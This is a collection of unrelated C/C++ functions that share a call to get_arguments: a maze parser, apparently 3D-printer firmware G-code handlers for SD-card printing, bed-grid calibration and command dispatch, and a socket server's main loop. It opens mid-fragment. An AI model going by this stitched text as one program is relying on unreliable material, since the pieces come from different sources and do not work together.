true; } } } }
void parser(t_maze *data, char **argv) { get_arguments(data, argv); prepare_generating(data); }
void Player::on_gcode_received(void *argument) { Gcode *gcode = static_cast<Gcode *>(argument); string args = get_arguments(gcode->get_command()); if (gcode->has_m) { if (gcode->m == 21) { // Dummy code; makes Octoprint happy -- supposed to initialize SD card mounter.remount(); gcode->stream->printf("SD card ok\r\n"); } else if (gcode->m == 23) { // select file this->filename = "/sd/" + args; // filename is whatever is in args this->current_stream = nullptr; if(this->current_file_handler != NULL) { this->playing_file = false; fclose(this->current_file_handler); } this->current_file_handler = fopen( this->filename.c_str(), "r"); if(this->current_file_handler == NULL) { gcode->stream->printf("file.open failed: %s\r\n", this->filename.c_str()); return; } else { // get size of file int result = fseek(this->current_file_handler, 0, SEEK_END); if (0 != result) { this->file_size = 0; } else { this->file_size = ftell(this->current_file_handler); fseek(this->current_file_handler, 0, SEEK_SET); } gcode->stream->printf("File opened:%s Size:%ld\r\n", this->filename.c_str(), this->file_size); gcode->stream->printf("File selected\r\n"); } this->played_cnt = 0; this->elapsed_secs = 0; } else if (gcode->m == 24) { // start print if (this->current_file_handler != NULL) { this->playing_file = true; // this would be a problem if the stream goes away before the file has finished, // so we attach it to the kernel stream, however network connections from pronterface // do not connect to the kernel streams so won't see this FIXME this->reply_stream = THEKERNEL->streams; } } else if (gcode->m == 25) { // pause print this->playing_file = false; } else if (gcode->m == 26) { // Reset print. Slightly different than M26 in Marlin and the rest if(this->current_file_handler != NULL) { string currentfn = this->filename.c_str(); unsigned long old_size = this->file_size; // abort the print abort_command("", gcode->stream); if(!currentfn.empty()) { // reload the last file opened this->current_file_handler = fopen(currentfn.c_str() , "r"); if(this->current_file_handler == NULL) { gcode->stream->printf("file.open failed: %s\r\n", currentfn.c_str()); } else { this->filename = currentfn; this->file_size = old_size; this->current_stream = nullptr; } } } else { gcode->stream->printf("No file loaded\r\n"); } } else if (gcode->m == 27) { // report print progress, in format used by Marlin progress_command("-b", gcode->stream); } else if (gcode->m == 32) { // select file and start print // Get filename this->filename = "/sd/" + args; // filename is whatever is in args including spaces this->current_stream = nullptr; if(this->current_file_handler != NULL) { this->playing_file = false; fclose(this->current_file_handler); } this->current_file_handler = fopen( this->filename.c_str(), "r"); if(this->current_file_handler == NULL) { gcode->stream->printf("file.open failed: %s\r\n", this->filename.c_str()); } else { this->playing_file = true; // get size of file int result = fseek(this->current_file_handler, 0, SEEK_END); if (0 != result) { file_size = 0; } else { file_size = ftell(this->current_file_handler); fseek(this->current_file_handler, 0, SEEK_SET); } } this->played_cnt = 0; this->elapsed_secs = 0; } else if (gcode->m == 600) { // suspend print, Not entirely Marlin compliant, M600.1 will leave the heaters on this->suspend_command((gcode->subcode == 1)?"h":"", gcode->stream); } else if (gcode->m == 601) { // resume print this->resume_command("", gcode->stream); } }else if(gcode->has_g) { if(gcode->g == 28) { // homing cancels suspend if(this->suspended) { // clean up this->suspended= false; THEROBOT->pop_state(); this->saved_temperatures.clear(); this->was_playing_file= false; this->suspend_loops= 0; } } } }
bool ZGridStrategy::handleGcode(Gcode *gcode) { string args = get_arguments(gcode->get_command()); // G code processing if(gcode->has_g) { if( gcode->g == 31 ) { // report status // Bed ZGrid data as gcode: gcode->stream->printf(";Bed Level settings:\r\n"); for (int x=0; x<this->numRows; x++) { gcode->stream->printf("X%i",x); for (int y=0; y<this->numCols; y++) { gcode->stream->printf(" %c%1.2f", 'A'+y, this->pData[(x*this->numCols)+y]); } gcode->stream->printf("\r\n"); } return true; } else if( gcode->g == 32 ) { //run probe // first wait for an empty queue i.e. no moves left THEKERNEL->conveyor->wait_for_empty_queue(); this->setAdjustFunction(false); // Disable leveling code if(!doProbing(gcode->stream)) { gcode->stream->printf("Probe failed to complete, probe not triggered or other error\n"); } else { this->setAdjustFunction(true); // Enable leveling code gcode->stream->printf("Probe completed, bed grid defined\n"); } return true; } } else if(gcode->has_m) { switch( gcode->m ) { // manual bed ZGrid calbration: M370 - M375 // M370: Clear current ZGrid for calibration, and move to first position case 370: { this->setAdjustFunction(false); // Disable leveling code this->cal[Z_AXIS] = std::get<Z_AXIS>(this->probe_offsets) + zprobe->getProbeHeight(); if(gcode->has_letter('X')) // Rows (X) this->numRows = gcode->get_value('X'); if(gcode->has_letter('Y')) // Cols (Y) this->numCols = gcode->get_value('Y'); this->calcConfig(); // Run calculations for Grid size and allocate grid memory this->homexyz(); for (int i=0; i<probe_points; i++) { this->pData[i] = 0.0F; // Clear the ZGrid } this->cal[X_AXIS] = 0.0f; // Clear calibration position this->cal[Y_AXIS] = 0.0f; this->in_cal = true; // In calbration mode } return true; // M371: Move to next manual calibration position case 371: { if (in_cal) { this->move(this->cal, slow_rate); this->next_cal(); } } return true; // M372: save current position in ZGrid, and move to next calibration position case 372: { if (in_cal) { float cartesian[3]; int pindex = 0; THEKERNEL->robot->get_axis_position(cartesian); // get actual position from robot pindex = int(cartesian[X_AXIS]/this->bed_div_x + 0.25)*this->numCols + int(cartesian[Y_AXIS]/this->bed_div_y + 0.25); this->move(this->cal, slow_rate); // move to the next position this->next_cal(); // to not cause damage to machine due to Z-offset this->pData[pindex] = cartesian[Z_AXIS]; // save the offset } } return true; // M373: finalize calibration case 373: { // normalize the grid this->normalize_grid_2home(); this->in_cal = false; this->setAdjustFunction(true); // Enable leveling code } return true; // M374: Save grid case 374: { char gridname[5]; if(gcode->has_letter('S')) // Custom grid number snprintf(gridname, sizeof(gridname), "S%03.0f", gcode->get_value('S')); else gridname[0] = '\0'; if(this->saveGrid(gridname)) { gcode->stream->printf("Grid saved: Filename: /sd/Zgrid.%s\n",gridname); } else { gcode->stream->printf("Error: Grid not saved: Filename: /sd/Zgrid.%s\n",gridname); } } return true; case 375: { // Load grid values char gridname[5]; if(gcode->has_letter('S')) // Custom grid number snprintf(gridname, sizeof(gridname), "S%03.0f", gcode->get_value('S')); else gridname[0] = '\0'; if(this->loadGrid(gridname)) { this->setAdjustFunction(true); // Enable leveling code gcode->stream->printf("Grid loaded: /sd/Zgrid.%s\n",gridname); } else { gcode->stream->printf("Error: Grid not loaded: /sd/Zgrid.%s\n",gridname); } } return true; /* case 376: { // Check grid value calculations: For debug only. float target[3]; for(char letter = 'X'; letter <= 'Z'; letter++) { if( gcode->has_letter(letter) ) { target[letter - 'X'] = gcode->get_value(letter); } } gcode->stream->printf(" Z0 %1.3f\n",getZOffset(target[0], target[1])); } return true; */ case 565: { // M565: Set Z probe offsets float x= 0, y= 0, z= 0; if(gcode->has_letter('X')) x = gcode->get_value('X'); if(gcode->has_letter('Y')) y = gcode->get_value('Y'); if(gcode->has_letter('Z')) z = gcode->get_value('Z'); probe_offsets = std::make_tuple(x, y, z); } return true; case 500: // M500 saves probe_offsets config override file gcode->stream->printf(";Load default grid\nM375\n"); case 503: { // M503 just prints the settings float x,y,z; gcode->stream->printf(";Probe offsets:\n"); std::tie(x, y, z) = probe_offsets; gcode->stream->printf("M565 X%1.5f Y%1.5f Z%1.5f\n", x, y, z); break; } return true; } } return false; }
// When a command is received, if it is a Gcode, dispatch it as an object via an event void GcodeDispatch::on_console_line_received(void *line) { SerialMessage new_message = *static_cast<SerialMessage *>(line); string possible_command = new_message.message; int ln = 0; int cs = 0; // just reply ok to empty lines if(possible_command.empty()) { new_message.stream->printf("ok\r\n"); return; } try_again: char first_char = possible_command[0]; unsigned int n; if(first_char == '$') { // ignore as simpleshell will handle it return; }else if(islower(first_char)) { // ignore all lowercase as they are simpleshell commands return; } if ( first_char == 'G' || first_char == 'M' || first_char == 'T' || first_char == 'S' || first_char == 'N' ) { //Get linenumber if ( first_char == 'N' ) { Gcode full_line = Gcode(possible_command, new_message.stream, false); ln = (int) full_line.get_value('N'); int chksum = (int) full_line.get_value('*'); //Catch message if it is M110: Set Current Line Number if ( full_line.has_m ) { if ( full_line.m == 110 ) { currentline = ln; new_message.stream->printf("ok\r\n"); return; } } //Strip checksum value from possible_command size_t chkpos = possible_command.find_first_of("*"); possible_command = possible_command.substr(0, chkpos); //Calculate checksum if ( chkpos != string::npos ) { for (auto c = possible_command.cbegin(); *c != '*' && c != possible_command.cend(); c++) cs = cs ^ *c; cs &= 0xff; // Defensive programming... cs -= chksum; } //Strip line number value from possible_command size_t lnsize = possible_command.find_first_not_of("N0123456789.,- "); possible_command = possible_command.substr(lnsize); } else { //Assume checks succeeded cs = 0x00; ln = currentline + 1; } //Remove comments size_t comment = possible_command.find_first_of(";("); if( comment != string::npos ) { possible_command = possible_command.substr(0, comment); } //If checksum passes then process message, else request resend int nextline = currentline + 1; if( cs == 0x00 && ln == nextline ) { if( first_char == 'N' ) { currentline = nextline; } while(possible_command.size() > 0) { // assumes G or M are always the first on the line size_t nextcmd = possible_command.find_first_of("GM", 2); string single_command; if(nextcmd == string::npos) { single_command = possible_command; possible_command = ""; } else { single_command = possible_command.substr(0, nextcmd); possible_command = possible_command.substr(nextcmd); } if(!uploading || upload_stream != new_message.stream) { // Prepare gcode for dispatch Gcode *gcode = new Gcode(single_command, new_message.stream); if(THEKERNEL->is_halted()) { // we ignore all commands until M999, unless it is in the exceptions list (like M105 get temp) if(gcode->has_m && gcode->m == 999) { THEKERNEL->call_event(ON_HALT, (void *)1); // clears on_halt // fall through and pass onto other modules }else if(!is_allowed_mcode(gcode->m)) { // ignore everything, return error string to host if(THEKERNEL->is_grbl_mode()) { new_message.stream->printf("error:Alarm lock\n"); }else{ new_message.stream->printf("!!\r\n"); } delete gcode; continue; } } if(gcode->has_g) { if(gcode->g == 53) { // G53 makes next movement command use machine coordinates // this is ugly to implement as there may or may not be a G0/G1 on the same line // valid version seem to include G53 G0 X1 Y2 Z3 G53 X1 Y2 if(possible_command.empty()) { // use last gcode G1 or G0 if none on the line, and pass through as if it was a G0/G1 // TODO it is really an error if the last is not G0 thru G3 if(modal_group_1 > 3) { delete gcode; new_message.stream->printf("ok - Invalid G53\r\n"); return; } // use last G0 or G1 gcode->g= modal_group_1; }else{ delete gcode; // extract next G0/G1 from the rest of the line, ignore if it is not one of these gcode = new Gcode(possible_command, new_message.stream); possible_command= ""; if(!gcode->has_g || gcode->g > 1) { // not G0 or G1 so ignore it as it is invalid delete gcode; new_message.stream->printf("ok - Invalid G53\r\n"); return; } } // makes it handle the parameters as a machine position THEKERNEL->robot->next_command_is_MCS= true; } // remember last modal group 1 code if(gcode->g < 4) { modal_group_1= gcode->g; } } if(gcode->has_m) { switch (gcode->m) { case 28: // start upload command delete gcode; this->upload_filename = "/sd/" + single_command.substr(4); // rest of line is filename // open file upload_fd = fopen(this->upload_filename.c_str(), "w"); if(upload_fd != NULL) { this->uploading = true; new_message.stream->printf("Writing to file: %s\r\nok\r\n", this->upload_filename.c_str()); } else { new_message.stream->printf("open failed, File: %s.\r\nok\r\n", this->upload_filename.c_str()); } // only save stuff from this stream upload_stream= new_message.stream; //printf("Start Uploading file: %s, %p\n", upload_filename.c_str(), upload_fd); continue; case 30: // end of program if(!THEKERNEL->is_grbl_mode()) break; // Special case M30 as it is also delete sd card file so only do this if in grbl mode // fall through to M2 case 2: { modal_group_1= 1; // set to G1 // issue M5 and M9 in case spindle and coolant are being used Gcode gc1("M5", &StreamOutput::NullStream); THEKERNEL->call_event(ON_GCODE_RECEIVED, &gc1); Gcode gc2("M9", &StreamOutput::NullStream); THEKERNEL->call_event(ON_GCODE_RECEIVED, &gc2); } break; case 112: // emergency stop, do the best we can with this // this is also handled out-of-band (it is now with ^X in the serial driver) // disables heaters and motors, ignores further incoming Gcode and clears block queue THEKERNEL->call_event(ON_HALT, nullptr); THEKERNEL->streams->printf("ok Emergency Stop Requested - reset or M999 required to exit HALT state\r\n"); delete gcode; return; case 117: // M117 is a special non compliant Gcode as it allows arbitrary text on the line following the command { // concatenate the command again and send to panel if enabled string str= single_command.substr(4) + possible_command; PublicData::set_value( panel_checksum, panel_display_message_checksum, &str ); delete gcode; new_message.stream->printf("ok\r\n"); return; } case 1000: // M1000 is a special command that will pass thru the raw lowercased command to the simpleshell (for hosts that do not allow such things) { // reconstruct entire command line again string str= single_command.substr(5) + possible_command; while(is_whitespace(str.front())){ str= str.substr(1); } // strip leading whitespace delete gcode; // TODO : TOADDBACK When Simpleshell is added back in /*if(str.empty()) { SimpleShell::parse_command("help", "", new_message.stream); }else{ string args= lc(str); string cmd = shift_parameter(args); // find command and execute it if(!SimpleShell::parse_command(cmd.c_str(), args, new_message.stream)) { new_message.stream->printf("Command not found: %s\n", cmd.c_str()); } } */ new_message.stream->printf("ok\r\n"); return; } case 500: // M500 save volatile settings to config-override THEKERNEL->conveyor->wait_for_idle(); //just to be safe as it can take a while to run // TOADDBACK : __disable_irq(); { FileStream fs(THEKERNEL->config_override_filename()); fs.printf("; DO NOT EDIT THIS FILE\n"); // this also will truncate the existing file instead of deleting it } // replace stream with one that writes to config-override file gcode->stream = new AppendFileStream(THEKERNEL->config_override_filename()); // dispatch the M500 here so we can free up the stream when done THEKERNEL->call_event(ON_GCODE_RECEIVED, gcode ); delete gcode->stream; delete gcode; // TOADDBACK : __enable_irq(); new_message.stream->printf("Settings Stored to %s\r\nok\r\n", THEKERNEL->config_override_filename()); continue; case 501: // load config override case 504: // save to specific config override file { string arg= get_arguments(single_command + possible_command); // rest of line is filename if(arg.empty()) arg= "/sd/config-override"; else arg= "/sd/config-override." + arg; new_message.stream->printf("args: <%s>\n", arg.c_str()); //TOADDBACK : SimpleShell::parse_command((gcode->m == 501) ? "load_command" : "save_command", arg, new_message.stream); } delete gcode; new_message.stream->printf("ok\r\n"); return; case 502: // M502 deletes config-override so everything defaults to what is in config remove(THEKERNEL->config_override_filename()); delete gcode; new_message.stream->printf("config override file deleted %s, reboot needed\r\nok\r\n", THEKERNEL->config_override_filename()); continue; case 503: { // M503 display live settings and indicates if there is an override file FILE *fd = fopen(THEKERNEL->config_override_filename(), "r"); if(fd != NULL) { fclose(fd); new_message.stream->printf("; config override present: %s\n", THEKERNEL->config_override_filename()); } else { new_message.stream->printf("; No config override\n"); } gcode->add_nl= true; break; // fall through to process by modules } } } //printf("dispatch %p: '%s' G%d M%d...", gcode, gcode->command.c_str(), gcode->g, gcode->m); //Dispatch message! THEKERNEL->call_event(ON_GCODE_RECEIVED, gcode ); if (gcode->is_error) { // report error if(THEKERNEL->is_grbl_mode()) { new_message.stream->printf("error: "); }else{ new_message.stream->printf("Error: "); } if(!gcode->txt_after_ok.empty()) { new_message.stream->printf("%s\r\n", gcode->txt_after_ok.c_str()); gcode->txt_after_ok.clear(); }else{ new_message.stream->printf("unknown\r\n"); } }else{ if(gcode->add_nl) new_message.stream->printf("\r\n"); if(!gcode->txt_after_ok.empty()) { new_message.stream->printf("ok %s\r\n", gcode->txt_after_ok.c_str()); gcode->txt_after_ok.clear(); } else { if(THEKERNEL->is_ok_per_line() || THEKERNEL->is_grbl_mode()) { // only send ok once per line if this is a multi g code line send ok on the last one if(possible_command.empty()) new_message.stream->printf("ok\r\n"); } else { // maybe should do the above for all hosts? new_message.stream->printf("ok\r\n"); } } } delete gcode; } else { // we are uploading and it is the upload stream so so save it if(single_command.substr(0, 3) == "M29") { // done uploading, close file fclose(upload_fd); upload_fd = NULL; uploading = false; upload_filename.clear(); upload_stream= nullptr; new_message.stream->printf("Done saving file.\r\nok\r\n"); continue; } if(upload_fd == NULL) { // error detected writing to file so discard everything until it stops new_message.stream->printf("ok\r\n"); continue; } single_command.append("\n"); static int cnt = 0; if(fwrite(single_command.c_str(), 1, single_command.size(), upload_fd) != single_command.size()) { // error writing to file new_message.stream->printf("Error:error writing to file.\r\n"); fclose(upload_fd); upload_fd = NULL; continue; } else { cnt += single_command.size(); if (cnt > 400) { // HACK ALERT to get around fwrite corruption close and re open for append fclose(upload_fd); upload_fd = fopen(upload_filename.c_str(), "a"); cnt = 0; } new_message.stream->printf("ok\r\n"); //printf("uploading file write ok\n"); } } } } else { //Request resend new_message.stream->printf("rs N%d\r\n", nextline); } } else if( (n=possible_command.find_first_of("XYZF")) == 0 || (first_char == ' ' && n != string::npos) ) { // handle pycam syntax, use last modal group 1 command and resubmit if an X Y Z or F is found on its own line char buf[6]; snprintf(buf, sizeof(buf), "G%d ", modal_group_1); possible_command.insert(0, buf); goto try_again; // Ignore comments and blank lines } else if ( first_char == ';' || first_char == '(' || first_char == ' ' || first_char == '\n' || first_char == '\r' ) { new_message.stream->printf("ok\r\n"); } }
/* * ************************************************************* * main of connection server * ************************************************************* */ int main(int argc, char *argv[]) { srv_opts_t run_options; int RequestCmd; void *res; initialize( &run_options ); get_arguments ( argc, argv, &run_options ); if( run_options.run_as_daemon ) { if( (run_options.error_code = start_daemon( &run_options )) != E_NOERR ) { do_log(&run_options, LOG_CRITERROR); cleanup_and_exit( &run_options ); } } if( (run_options.error_code = make_socket( &run_options )) != E_NOERR ) { do_log(&run_options, LOG_CRITERROR); cleanup_and_exit( &run_options ); } if( prepareThreads( &run_options ) != E_NOERR ) { do_log(&run_options, LOG_CRITERROR); cleanup_and_exit( &run_options ); } else { if( (run_options.error_code = ctl_create_thread( &run_options, MAINCTL_THREAD_NUM)) != E_NOERR ) { do_log(&run_options, LOG_CRITERROR); cleanup_and_exit( &run_options ); } } // while no exit request RequestCmd = 0; do { if( (run_options.error_code = wait_client( &run_options )) != E_NOERR ) { do_log(&run_options, LOG_CRITERROR); cleanup_and_exit( &run_options ); } else { if( (run_options.error_code = get_request( &run_options )) != E_NOERR ) { do_log(&run_options, LOG_CRITERROR); cleanup_and_exit( &run_options ); } else { switch( RequestCmd = parse_req( run_options.p_rcv_buf ) ) { case CTLREQ_EXIT: sprintf(run_options.p_rsp_buf, "Assume exit: %s\n", run_options.p_rcv_buf ); send_response(&run_options); close(run_options.cli_socket); break; case CTLREQ_API: sprintf(run_options.p_rsp_buf, "Assume API: %s\n", run_options.p_rcv_buf ); send_response(&run_options); close(run_options.cli_socket); break; default: // assume telnet request sprintf(run_options.p_rsp_buf, "Assume telnet: %s\n", run_options.p_rcv_buf ); send_response(&run_options); close(run_options.cli_socket); break; } } } } while( RequestCmd != CTLREQ_EXIT ); if( pthread_attr_destroy(&run_options.tattr) != 0 ) { run_options.error_code = E_FAIL; run_options.sys_errno = errno; sprintf( run_options.logbuffer, "destroy attr failed, errno was %d\n", errno ); do_log(&run_options, LOG_WARN); } run_options.mainctl_run = 0; run_options.api_run = 0; run_options.telnet_run = 0; if( run_options.tinfo[MAINCTL_THREAD_NUM].thread_id >= 0 ) { pthread_join(run_options.tinfo[MAINCTL_THREAD_NUM].thread_id, &res); } if( run_options.tinfo[API_THREAD_NUM].thread_id >= 0 ) { pthread_join(run_options.tinfo[API_THREAD_NUM].thread_id, &res); } if( run_options.tinfo[TELNET_THREAD_NUM].thread_id >= 0 ) { pthread_join(run_options.tinfo[TELNET_THREAD_NUM].thread_id, &res); } pthread_cancel(run_options.tinfo[MAINCTL_THREAD_NUM].thread_id); pthread_cancel(run_options.tinfo[API_THREAD_NUM].thread_id); pthread_cancel(run_options.tinfo[TELNET_THREAD_NUM].thread_id); // and die cleanup_and_exit( &run_options ); }